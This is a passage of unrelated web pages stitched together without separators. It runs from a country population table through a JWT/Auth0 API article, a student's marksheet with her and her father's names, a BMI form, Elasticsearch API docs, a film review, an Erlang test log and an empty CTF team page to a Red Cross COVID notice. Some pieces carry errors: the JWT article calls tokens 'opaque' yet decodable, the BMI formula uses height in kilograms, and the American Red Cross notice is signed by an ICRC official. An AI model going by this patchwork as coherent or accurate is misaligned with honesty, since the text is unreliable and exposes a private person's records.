847 |
6,020 |
-10,563 |
3.7 |
21 |
80% |
0.07% |
| Costa Rica |
5,094,118 |
0.92% |
46,557 |
100 |
51,060 |
4,200 |
1.8 |
33 |
80% |
0.07% |
| Liberia |
5,057,681 |
2.44% |
120,307 |
53 |
96,320 |
-5,000 |
4.4 |
19 |
53% |
0.06% |
| Ireland |
4,937,786 |
1.13% |
55,291 |
72 |
68,890 |
23,604 |
1.8 |
38 |
63% |
0.06% |
| Central African Republic |
4,829,767 |
1.78% |
84,582 |
8 |
622,980 |
-40,000 |
4.8 |
18 |
43% |
0.06% |
| New Zealand |
4,822,233 |
0.82% |
39,170 |
18 |
263,310 |
14,881 |
1.9 |
38 |
87% |
0.06% |
| Mauritania |
4,649,658 |
2.74% |
123,962 |
5 |
1,030,700 |
5,000 |
4.6 |
20 |
57% |
0.06% |
| Panama |
4,314,767 |
1.61% |
68,328 |
58 |
74,340 |
11,200 |
2.5 |
30 |
68% |
0.06% |
| Kuwait |
4,270,571 |
1.51% |
63,488 |
240 |
17,820 |
39,520 |
2.1 |
37 |
N.A. |
0.05% |
| Croatia |
4,105,267 |
-0.61% |
-25,037 |
73 |
55,960 |
-8,001 |
1.4 |
44 |
58% |
0.05% |
| Moldova |
4,033,963 |
-0.23% |
-9,300 |
123 |
32,850 |
-1,387 |
1.3 |
38 |
43% |
0.05% |
| Georgia |
3,989,167 |
-0.19% |
-7,598 |
57 |
69,490 |
-10,000 |
2.1 |
38 |
58% |
0.05% |
| Eritrea |
3,546,421 |
1.41% |
49,304 |
35 |
101,000 |
-39,858 |
4.1 |
19 |
63% |
0.05% |
| Uruguay |
3,473,730 |
0.35% |
11,996 |
20 |
175,020 |
-3,000 |
2 |
36 |
96% |
0.04% |
| Bosnia and Herzegovina |
3,280,819 |
-0.61% |
-20,181 |
64 |
51,000 |
-21,585 |
1.3 |
43 |
52% |
0.04% |
| Mongolia |
3,278,290 |
1.65% |
53,123 |
2 |
1,553,560 |
-852 |
2.9 |
28 |
67% |
0.04% |
| Armenia |
2,963,243 |
0.19% |
5,512 |
104 |
28,470 |
-4,998 |
1.8 |
35 |
63% |
0.04% |
| Jamaica |
2,961,167 |
0.44% |
12,888 |
273 |
10,830 |
-11,332 |
2 |
31 |
55% |
0.04% |
| Qatar |
2,881,053 |
1.73% |
48,986 |
248 |
11,610 |
40,000 |
1.9 |
32 |
96% |
0.04% |
| Albania |
2,877,797 |
-0.11% |
-3,120 |
105 |
27,400 |
-14,000 |
1.6 |
36 |
63% |
0.04% |
| Puerto Rico |
2,860,853 |
-2.47% |
-72,555 |
323 |
8,870 |
-97,986 |
1.2 |
44 |
N.A. |
0.04% |
| Lithuania |
2,722,289 |
-1.35% |
-37,338 |
43 |
62,674 |
-32,780 |
1.7 |
45 |
71% |
0.03% |
| Namibia |
2,540,905 |
1.86% |
46,375 |
3 |
823,290 |
-4,806 |
3.4 |
22 |
55% |
0.03% |
| Gambia |
2,416,668 |
2.94% |
68,962 |
239 |
10,120 |
-3,087 |
5.3 |
18 |
59% |
0.03% |
| Botswana |
2,351,627 |
2.08% |
47,930 |
4 |
566,730 |
3,000 |
2.9 |
24 |
73% |
0.03% |
| Gabon |
2,225,734 |
2.45% |
53,155 |
9 |
257,670 |
3,260 |
4 |
23 |
87% |
0.03% |
| Lesotho |
2,142,249 |
0.80% |
16,981 |
71 |
30,360 |
-10,047 |
3.2 |
24 |
31% |
0.03% |
| North Macedonia |
2,083,374 |
0.00% |
-85 |
83 |
25,220 |
-1,000 |
1.5 |
39 |
59% |
0.03% |
| Slovenia |
2,078,938 |
0.01% |
284 |
103 |
20,140 |
2,000 |
1.6 |
45 |
55% |
0.03% |
| Guinea-Bissau |
1,968,001 |
2.45% |
47,079 |
70 |
28,120 |
-1,399 |
4.5 |
19 |
45% |
0.03% |
| Latvia |
1,886,198 |
-1.08% |
-20,545 |
30 |
62,200 |
-14,837 |
1.7 |
44 |
69% |
0.02% |
| Bahrain |
1,701,575 |
3.68% |
60,403 |
2,239 |
760 |
47,800 |
2 |
32 |
89% |
0.02% |
| Equatorial Guinea |
1,402,985 |
3.47% |
46,999 |
50 |
28,050 |
16,000 |
4.6 |
22 |
73% |
0.02% |
| Trinidad and Tobago |
1,399,488 |
0.32% |
4,515 |
273 |
5,130 |
-800 |
1.7 |
36 |
52% |
0.02% |
| Estonia |
1,326,535 |
0.07% |
887 |
31 |
42,390 |
3,911 |
1.6 |
42 |
68% |
0.02% |
| Timor-Leste |
1,318,445 |
1.96% |
25,326 |
89 |
14,870 |
-5,385 |
4.1 |
21 |
33% |
0.02% |
| Mauritius |
1,271,768 |
0.17% |
2,100 |
626 |
2,030 |
0 |
1.4 |
37 |
41% |
0.02% |
| Cyprus |
1,207,359 |
0.73% |
8,784 |
131 |
9,240 |
5,000 |
1.3 |
37 |
67% |
0.02% |
| Eswatini |
1,160,164 |
1.05% |
12,034 |
67 |
17,200 |
-8,353 |
3 |
21 |
30% |
0.01% |
| Djibouti |
988,000 |
1.48% |
14,440 |
43 |
23,180 |
900 |
2.8 |
27 |
79% |
0.01% |
| Fiji |
896,445 |
0.73% |
6,492 |
49 |
18,270 |
-6,202 |
2.8 |
28 |
59% |
0.01% |
| Réunion |
895,312 |
0.72% |
6,385 |
358 |
2,500 |
-1,256 |
2.3 |
36 |
100% |
0.01% |
| Comoros |
869,601 |
2.20% |
18,715 |
467 |
1,861 |
-2,000 |
4.2 |
20 |
29% |
0.01% |
| Guyana |
786,552 |
0.48% |
3,786 |
4 |
196,850 |
-6,000 |
2.5 |
27 |
27% |
0.01% |
| Bhutan |
771,608 |
1.12% |
8,516 |
20 |
38,117 |
320 |
2 |
28 |
46% |
0.01% |
| Solomon Islands |
686,884 |
2.55% |
17,061 |
25 |
27,990 |
-1,600 |
4.4 |
20 |
23% |
0.01% |
| Macao |
649,335 |
1.39% |
8,890 |
21,645 |
30 |
5,000 |
1.2 |
39 |
N.A. |
0.01% |
| Montenegro |
628,066 |
0.01% |
79 |
47 |
13,450 |
-480 |
1.8 |
39 |
68% |
0.01% |
| Luxembourg |
625,978 |
1.66% |
10,249 |
242 |
2,590 |
9,741 |
1.5 |
40 |
88% |
0.01% |
| Western Sahara |
597,339 |
2.55% |
14,876 |
2 |
266,000 |
5,582 |
2.4 |
28 |
87% |
0.01% |
| Suriname |
586,632 |
0.90% |
5,260 |
4 |
156,000 |
-1,000 |
2.4 |
29 |
65% |
0.01% |
| Cabo Verde |
555,987 |
1.10% |
6,052 |
138 |
4,030 |
-1,342 |
2.3 |
28 |
68% |
0.01% |
| Maldives |
540,544 |
1.81% |
9,591 |
1,802 |
300 |
11,370 |
1.9 |
30 |
35% |
0.01% |
| Malta |
441,543 |
0.27% |
1,171 |
1,380 |
320 |
900 |
1.5 |
43 |
93% |
0.01% |
| Brunei |
437,479 |
0.97% |
4,194 |
83 |
5,270 |
0 |
1.8 |
32 |
80% |
0.01% |
| Guadeloupe |
400,124 |
0.02% |
68 |
237 |
1,690 |
-1,440 |
2.2 |
44 |
N.A. |
0.01% |
| Belize |
397,628 |
1.86% |
7,275 |
17 |
22,810 |
1,200 |
2.3 |
25 |
46% |
0.01% |
| Bahamas |
393,244 |
0.97% |
3,762 |
39 |
10,010 |
1,000 |
1.8 |
32 |
86% |
0.01% |
| Martinique |
375,265 |
-0.08% |
-289 |
354 |
1,060 |
-960 |
1.9 |
47 |
92% |
0.00% |
| Iceland |
341,243 |
0.65% |
2,212 |
3 |
100,250 |
380 |
1.8 |
37 |
94% |
0.00% |
| Vanuatu |
307,145 |
2.42% |
7,263 |
25 |
12,190 |
120 |
3.8 |
21 |
24% |
0.00% |
| French Guiana |
298,682 |
2.70% |
7,850 |
4 |
82,200 |
1,200 |
3.4 |
25 |
87% |
0.00% |
| Barbados |
287,375 |
0.12% |
350 |
668 |
430 |
-79 |
1.6 |
40 |
31% |
0.00% |
| New Caledonia |
285,498 |
0.97% |
2,748 |
16 |
18,280 |
502 |
2 |
34 |
72% |
0.00% |
| French Polynesia |
280,908 |
0.58% |
1,621 |
77 |
3,660 |
-1,000 |
2 |
34 |
64% |
0.00% |
| Mayotte |
272,815 |
2.50% |
6,665 |
728 |
375 |
0 |
3.7 |
20 |
46% |
0.00% |
| Sao Tome & Principe |
219,159 |
1.91% |
4,103 |
228 |
960 |
-1,680 |
4.4 |
19 |
74% |
0.00% |
| Samoa |
198,414 |
0.67% |
1,317 |
70 |
2,830 |
-2,803 |
3.9 |
22 |
18% |
0.00% |
| Saint Lucia |
183,627 |
0.46% |
837 |
301 |
610 |
0 |
1.4 |
34 |
19% |
0.00% |
| Channel Islands |
173,863 |
0.93% |
1,604 |
915 |
190 |
1,351 |
1.5 |
43 |
30% |
0.00% |
| Guam |
168,775 |
0.89% |
1,481 |
313 |
540 |
-506 |
2.3 |
31 |
95% |
0.00% |
| Curaçao |
164,093 |
0.41% |
669 |
370 |
444 |
515 |
1.8 |
42 |
89% |
0.00% |
| Kiribati |
119,449 |
1.57% |
1,843 |
147 |
810 |
-800 |
3.6 |
23 |
57% |
0.00% |
| Micronesia |
115,023 |
1.06% |
1,208 |
164 |
700 |
-600 |
3.1 |
24 |
21% |
0.00% |
| Grenada |
112,523 |
0.46% |
520 |
331 |
340 |
-200 |
2.1 |
32 |
35% |
0.00% |
| St. Vincent & Grenadines |
110,940 |
0.32% |
351 |
284 |
390 |
-200 |
1.9 |
33 |
53% |
0.00% |
| Aruba |
106,766 |
0.43% |
452 |
593 |
180 |
201 |
1.9 |
41 |
44% |
0.00% |
| Tonga |
105,695 |
1.15% |
1,201 |
147 |
720 |
-800 |
3.6 |
22 |
24% |
0.00% |
| U.S. Virgin Islands |
104,425 |
-0.15% |
-153 |
298 |
350 |
-451 |
2 |
43 |
96% |
0.00% |
| Seychelles |
98,347 |
0.62% |
608 |
214 |
460 |
-200 |
2.5 |
34 |
56% |
0.00% |
| Antigua and Barbuda |
97,929 |
0.84% |
811 |
223 |
440 |
0 |
2 |
34 |
26% |
0.00% |
| Isle of Man |
85,033 |
0.53% |
449 |
149 |
570 |
|
N.A. |
N.A. |
53% |
0.00% |
| Andorra |
77,265 |
0.16% |
123 |
164 |
470 |
|
N.A. |
N.A. |
88% |
0.00% |
| Dominica |
71,986 |
0.25% |
178 |
96 |
750 |
|
N.A. |
N.A. |
74% |
0.00% |
| Cayman Islands |
65,722 |
1.19% |
774 |
274 |
240 |
|
N.A. |
N.A. |
97% |
0.00% |
| Bermuda |
62,278 |
-0.36% |
-228 |
1,246 |
50 |
|
N.A. |
N.A. |
97% |
0.00% |
| Marshall Islands |
59,190 |
0.68% |
399 |
329 |
180 |
|
N.A. |
N.A. |
70% |
0.00% |
| Northern Mariana Islands |
57,559 |
0.60% |
343 |
125 |
460 |
|
N.A. |
N.A. |
88% |
0.00% |
| Greenland |
56,770 |
0.17% |
98 |
0 |
410,450 |
|
N.A. |
N.A. |
87% |
0.00% |
| American Samoa |
55,191 |
-0.22% |
-121 |
276 |
200 |
|
N.A. |
N.A. |
88% |
0.00% |
| Saint Kitts & Nevis |
53,199 |
0.71% |
376 |
205 |
260 |
|
N.A. |
N.A. |
33% |
0.00% |
| Faeroe Islands |
48,863 |
0.38% |
185 |
35 |
1,396 |
|
N.A. |
N.A. |
43% |
0.00% |
| Sint Maarten |
42,876 |
1.15% |
488 |
1,261 |
34 |
|
N.A. |
N.A. |
96% |
0.00% |
| Monaco |
39,242 |
0.71% |
278 |
26,337 |
1 |
|
N.A. |
N.A. |
N.A. |
0.00% |
| Turks and Caicos |
38,717 |
1.38% |
526 |
41 |
950 |
|
N.A. |
N.A. |
89% |
0.00% |
| Saint Martin |
38,666 |
1.75% |
664 |
730 |
53 |
|
N.A. |
N.A. |
0% |
0.00% |
| Liechtenstein |
38,128 |
0.29% |
109 |
238 |
160 |
|
N.A. |
N.A. |
15% |
0.00% |
| San Marino |
33,931 |
0.21% |
71 |
566 |
60 |
|
N.A. |
N.A. |
97% |
0.00% |
| Gibraltar |
33,691 |
-0.03% |
-10 |
3,369 |
10 |
|
N.A. |
N.A. |
N.A. |
0.00% |
| British Virgin Islands |
30,231 |
0.67% |
201 |
202 |
150 |
|
N.A. |
N.A. |
52% |
0.00% |
| Caribbean Netherlands |
26,223 |
0.94% |
244 |
80 |
328 |
|
N.A. |
N.A. |
75% |
0.00% |
| Palau |
18,094 |
0.48% |
86 |
39 |
460 |
|
N.A. |
N.A. |
N.A. |
0.00% |
| Cook Islands |
17,564 |
0.09% |
16 |
73 |
240 |
|
N.A. |
N.A. |
75% |
0.00% |
| Anguilla |
15,003 |
0.90% |
134 |
167 |
90 |
|
N.A. |
N.A. |
N.A. |
0.00% |
| Tuvalu |
11,792 |
1.25% |
146 |
393 |
30 |
|
N.A. |
N.A. |
62% |
0.00% |
| Wallis & Futuna |
11,239 |
-1.69% |
-193 |
80 |
140 |
|
N.A. |
N.A. |
0% |
0.00% |
| Nauru |
10,824 |
0.63% |
68 |
541 |
20 |
|
N.A. |
N.A. |
N.A. |
0.00% |
| Saint Barthelemy |
9,877 |
0.30% |
30 |
470 |
21 |
|
N.A. |
N.A. |
0% |
0.00% |
| Saint Helena |
6,077 |
0.30% |
18 |
16 |
390 |
|
N.A. |
N.A. |
27% |
0.00% |
| Saint Pierre & Miquelon |
5,794 |
-0.48% |
-28 |
25 |
230 |
|
N.A. |
N.A. |
100% |
0.00% |
| Montserrat |
4,992 |
0.06% |
3 |
50 |
100 |
|
N.A. |
N.A. |
10% |
0.00% |
| Falkland Islands |
3,480 |
3.05% |
103 |
0 |
12,170 |
|
N.A. |
N.A. |
66% |
0.00% |
| Niue |
1,626 |
0.68% |
11 |
6 |
260 |
|
N.A. |
N.A. |
46% |
0.00% |
| Tokelau |
1,357 |
1.27% |
17 |
136 |
10 |
|
N.A. |
N.A. |
0% |
0.00% |
| Holy See |
801 |
0.25% |
2 |
2,003 |
0 |
|
N.A. |
N.A. |
N.A. |
0.00% |


Using JWTs For API Access Tokens
Introduction
The old way of doing authentication is for you to manage an authentication server that issues credentials for your partners. An example of this would be something like IdentityServer4. However, this can easily be offloaded to a service such as Auth0 or Okta. A cloud provider makes the management and security much easier.
What is OAuth 2.0?
As discussed in the Auth0 article, OAuth 2.0 has many different ‘flavors’ for obtaining a token for authentication. We are interested in a machine-to-machine
grant that allows partners to access the protected resource (in this case our server).
For this we can use the client credentials grant.
Why use JWTs For access?
A partner is issued a key and secret key that they are then make a request to an authentication server (Auth0) that then issues them a JWT that they can use to make requests to our Node.js API.
The JWT is useful because it is asymetrically signed, it’s opaque so a user can decode it and see what scopes
and audience
it has been issued for, and since it is self expiring it is less prone to abuse.
How can we use OAuth 2.0 for authenticating our API users?
Initially the OAuth language can be confusing and what relationships exist can be a little confusing.
We first create our API in Auth0. This is our protected resource, that we are merely registering in Auth0. We setup our scopes which should correspond to each of RESTful endpoints. For example, if we have a list users endpoint we should have a scope in Auth0 for list:users
.
Now, we create an application
in Auth0. This is sometimes also called a client
and you may see client
in older docs from Auth0.
How to handle these JWTs in our Node API?
There are are some fantastic libraries which make our lives much easier.
We first need to authenticate the request. For this we need to consider is the JWT valid, and can use authz.
Next we need to check the scopes of the authenticated request to see if the user has access to the endpoint they’re requesting. For this we can use .
Now, after all the middleware has ran we will have a user
on the req
object. That will have a sub
claim which is essentially the unique client_id
. Now we can use this client_id
to look up our user and provide them with the data they’re requesting.
Managing Auth0
Auth0 of course has an SDK where we can manage the different applications, APIs, and everything else.


Drury University
Marksheet
Statement of marks: Bachelor of Arts
Examination
| Roll No.: |<PHONE_NUMBER>07 |
| Name: | KM. Sadhna Singh |
| Father's Name: | Saypal Singh |
| College Center: | 352-Prakash Mahavidyalaya P.A.C |
| Name of Subjects | Marks Obtained Theory Paper | Marks Obtained Practical Paper | Total Theory and Practical | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Max. | Min. | I | II | Total | Max. | Min. | I | II | Total | ||
| Geography | 70 | 25 | 21 | 20 | 41 | 30 | 11 | 27 | - | 27 | 68 |
| General English | 100 | 35 | 23 | 26 | 49 | - | - | - | - | - | 49 |
| Socialogy | 100 | 35 | 20 | 24 | 44 | - | - | - | - | - | 44 |
| Home Science | 70 | 25 | 23 | 20 | 43 | 30 | 11 | 26 | - | 26 | 68 |
| Result: Pass | Total of Part-I yearly (140/400) | 230 | |||||||||
| GRAND TOTAL (140/400) | 230 |
| Qualifying Subjects | Marks | Result |
|---|---|---|
| ENVIRONMENTAL STUDIES | 25 | CLEAR |
| RASHTRA GAURAV | - | NOT CLEAR |


Name:
?
Age:
?
BMI:
?
To calculate your BMI simply divide your height in Kilograms by your height in metres squared


| 接口 | 说明 |
|---|---|
| ElasticsearchWrapperException |
| 类 | 说明 |
|---|---|
| Assertions |
Provides a static final field that can be used to check if assertions are enabled.
|
| Build |
Information about a build of Elasticsearch.
|
| ExceptionsHelper | |
| SpecialPermission |
Elasticsearch-specific permission to check before entering
AccessController.doPrivileged() blocks. |
| Version |
| 异常错误 | 说明 |
|---|---|
| ElasticsearchCorruptionException |
This exception is thrown when Elasticsearch detects
an inconsistency in one of it's persistent files.
|
| ElasticsearchException |
A base class for all elasticsearch exceptions.
|
| ElasticsearchGenerationException |
A generic exception indicating failure to generate.
|
| ElasticsearchParseException |
Unchecked exception that is translated into a
400 BAD REQUEST error when it bubbles out over HTTP. |
| ElasticsearchSecurityException |
Generic security exception
|
| ElasticsearchStatusException |
Exception who's
RestStatus is arbitrary rather than derived. |
| ElasticsearchTimeoutException |
The same as
TimeoutException simply a runtime one. |
| ResourceAlreadyExistsException | |
| ResourceNotFoundException |
Generic ResourceNotFoundException corresponding to the
RestStatus.NOT_FOUND status code |


A LESSON BEFORE DYING (director: Joseph Sargent; screenwriter: Ann Peacock/ based on a novel by Ernest J. Gaines; cinematographer: Donald M. Morgan; editor: Michael Brown; cast: Don Cheadle (Grant Wiggins), Mekhi Phifer (Jefferson), Cicely Tyson (Tante Lou), Irma Hall (Emma), Brent Jennings (Reverend Ambrose), Lisa Arrindell Anderson (Vivian), Frank Hoyt Taylor (Sheriff Guidry), Cierra Meche (Estelle), Stuart Culpepper (Henri Pichot); Runtime: 105; 1999)
Reviewed by Dennis Schwartz
A moving drama played against the backdrop of the segregated deep south of 1948, as an innocent man is given the death sentence and his family fights to have him die with dignity, whereas they have given up any hope for justice.
Jefferson (Phifer) was going fishing, when walking on the rural dirt road and two friends gave him a ride.  One of them started walking behind the counter and the owner pulled out a gun killing him as he continued coming toward him, while the other pulled out a gun and shot the owner before he got killed as the owner fired back. Jefferson was befuddled by this rotten turn of events, viewing the three who were dead and not knowing what to do but stand there, until he reached into the cash register and took the money, but a crowd of whites, attracted by the shots, came into the store and did not let him escape.
When the public defender tried unsuccessfully to save him from certain execution with the all-white jury, by saying killing him was like killing a hog, it would serve no purpose, even if he were guilty, because he is not a man and is not capable of planning a robbery or a murder, this gave the film its historical theme. Its theme became that there was no justification for segregation, that the black man is equal to the white, and it is only by keeping the blacks uneducated and inferior, could the south still maintain the myth of its separate ways by falsely believing that the whites are superior.
What saves the lesson from being a reduntant one, is the superb performance of the ensemble cast, all acting in harmony with one another. The two matriarchs are a particularly strong presence, and a reminder of how the evil lingerings of slavery has broken up the black family, but that it was the women and the church that tried to hold it together. Emma (Irma) is the godmother who raised Jefferson and Tante Lou (Tyson) raised Grant Wiggins (Don Cheadle), as she worked the cotton fields till her knees were scarred, thereby getting enough money to send him to college. He is now the teacher in the black elementary school, having returned from college, even though he is frustrated by the injustice he sees and wants to go north. He is in love with a light-skinned women, Vivian (Anderson), who is also a teacher. They plan to marry as soon as her divorce comes through from a husband who abandoned her and left her to bring up their two children alone.
It is Tante Lou who asks him to do what Emma wants, to visit Jefferson in jail and teach him some kind of a lesson before he dies. Something he reluctantly accepts only because he owes her for raising him, otherwise he'd rather not get involved with the whites.
Grant feels like he is just marking time by teaching, that all the kids will just become ditch-diggers anyway, so it is a waste of time teaching them to read. But this godless man, who has walked away from the church, finds his way back to his own people through helping Jefferson.
The bulk of the film is about the developing relationship between the uneducated, quietly angry Jefferson and Grant, the new black educated man from the south. Jefferson is mad at the world, even taking out his anger at the saintly Emma, as he is cold to the visits in jail from both Emma and the teacher, even refusing her fried chicken. It was hard enough for Emma to get these visitation privileges and it seems a waste to have it all go for nothing, as she had to ask the favor of the white family of Henri Pichot (Culpepper) to get the hard-nosed Sheriff Guidry (Taylor) to agree, she did it by begging Henri and constantly reminding him of all that she did for his family.
Reverend Ambrose (Jennings) is the counterbalance to the worldly teacher. God, he proclaims, is the one voice no one should abandon. But he can't reach Jefferson. It is the worldly teacher who artfully reaches Jefferson by telling him that he must try to believe in God because the woman who raised him do. It comforts them to know that there is such a place as heaven, and that if he seems to be trying to reach there, they will feel reassured that they will all meet in heaven when they die. While his relationship with Vivian, a woman of quality, leads him to see that he has the chance to reach others and awaken the need for change in the south.
This film adapted from the novel by Ernest J. Gaines has the mark of truth and morality on its side. It evoked a sense of what rural Louisiana was like back in the 1940s for African-Americans, and it set the mood for what was to come about in the 1950s and 1960s, as segregation couldn't be justified anymore by a democratic country. What the film lacked was a tension in the story, everything seemed too dry and predictable, except for the theme, which was right on the money.
REVIEWED ON 9/5/2000 GRADE: B-
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


*** User 2017-05-05 20:44:30.620 ***
20:44:30.620 [info] Disabling blocking sync...
*** User 2017-05-05 20:44:30.625 ***
20:44:30.625 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-1@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:44:32.107 ***
20:44:32.106 [info] Enabling membership...
*** User 2017-05-05 20:44:32.108 ***
20:44:32.108 [info] Disabling blocking sync...
*** User 2017-05-05 20:44:32.112 ***
20:44:32.112 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-2@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:44:33.588 ***
20:44:33.588 [info] Enabling membership...
*** User 2017-05-05 20:44:33.589 ***
20:44:33.589 [info] Disabling blocking sync...
*** User 2017-05-05 20:44:33.594 ***
20:44:33.594 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-3@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:44:33.810 ***
Joining node: 'node-3@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61681
*** User 2017-05-05 20:44:33.811 ***
Joining issued: 'node-3@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61681
*** User 2017-05-05 20:44:33.811 ***
Joining node: 'node-2@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61666
*** User 2017-05-05 20:44:33.811 ***
Joining issued: 'node-2@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61666
*** User 2017-05-05 20:44:33.812 ***
Joining node: 'node-1@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61655
*** User 2017-05-05 20:44:33.812 ***
Joining issued: 'node-1@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 61655
*** User 2017-05-05 20:44:33.874 ***
Waiting for join to complete with manager: partisan_default_peer_service_manager
*** User 2017-05-05 20:44:33.875 ***
Finished.
*** CT 2017-05-05 20:44:33.875 *** COVER INFO
Adding nodes to cover test: ['runner@MacBook-Pro-de-Anne-France']
*** CT 2017-05-05 20:44:33.884 *** COVER INFO
Successfully added nodes to cover test: []
*** User 2017-05-05 20:44:33.884 ***
Manager: partisan_default_peer_service_manager
*** User 2017-05-05 20:44:33.884 ***
20:44:33.884 [info] Nodes: ['runner@MacBook-Pro-de-Anne-France','node-3@MacBook-Pro-de-Anne-France','node-2@MacBook-Pro-de-Anne-France','node-1@MacBook-Pro-de-Anne-France']
*** User 2017-05-05 20:44:33.884 ***
20:44:33.884 [info] Waiting for cluster to stabilize.
*** User 2017-05-05 20:44:43.886 ***
Case finished: membership_test
*** User 2017-05-05 20:44:50.933 ***
20:44:50.932 [info] Application lasp exited with reason: stopped
*** User 2017-05-05 20:44:50.933 ***
20:44:50.933 [info] Application partisan exited with reason: stopped
=== Ended at 2017-05-05 20:44:50
=== successfully completed test case
=== Returned value: ok
Test run history
| Top level test index


ids-team
Score: 0
Captain: linz
Challenges solved
| category & points | name | solved at |
|---|
Achievements
| name | description | condition | unlocked at | unlocked by |
|---|
Members
- linz
- yu-nao
- aoyama
- yumano
- Kyuri
- kojirou1223
- fhouse
- shadowPuppet
- maikou
Score: 0
Captain: linz
| category & points | name | solved at |
|---|
| name | description | condition | unlocked at | unlocked by |
|---|


During the coronavirus (COVID-19) pandemic, life’s emergencies don’t stop — and neither does the work of the American Red Cross.
Because everyone’s wellbeing is our top priority, we continue to work closely with public health officials to deliver our services safely and coordinate our efforts with government agencies and partners. This means that, as the coronavirus evolves and affects communities differently, our services may look different in each area to ensure we are aiding local families where they need us most.
HOW YOU CAN HELP This is the time to take care of one another. Join us:
Thank you for your onoging support.
Yves Daccord
Director General
International Committee of the Red Cross
About the American Red Cross:
The American Red Cross shelters, feeds and provides emotional support to victims of disasters; supplies about 40 percent of the nation's blood; teaches skills that save lives; provides international humanitarian aid; and supports military members and their families. The Red Cross is a not-for-profit organization that depends on volunteers and the generosity of the American public to perform its mission. For more information, please visit redcross.org or cruzrojaamericana.org, or visit us on Twitter at @RedCross.